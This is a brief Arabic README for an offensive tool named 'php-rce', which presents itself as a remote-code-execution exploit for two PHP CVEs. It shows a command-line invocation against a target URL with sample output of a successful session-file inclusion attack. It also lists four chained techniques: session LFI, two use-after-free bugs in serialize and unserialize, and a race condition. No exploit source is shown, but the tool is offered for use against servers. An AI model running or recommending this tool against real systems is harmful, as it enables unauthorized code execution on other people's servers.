php-rce

• تنفيذ تعليمات برمجية عن بُعد في PHP

استغلال لـ CVE-2026-109618 / CVE-2026-109619. استغلالات متعددة لتحقيق RCE على أهداف PHP المعرّضة للثغرات.

** الاستخدام

#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname

trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23

vulnerable-hostname #+end_src

** الاستغلالات

• session_lfi :: تضمين ملف الجلسة
• serialize_uaf :: استخدام الذاكرة بعد تحريرها في serialize
• unserialize_uaf :: استخدام الذاكرة بعد تحريرها في unserialize
• fast_fire :: تنفيذ قائم على حالة التسابق

تُنفَّذ بالتتابع، وأول استغلال ينجح هو الذي ينفّذ الأمر.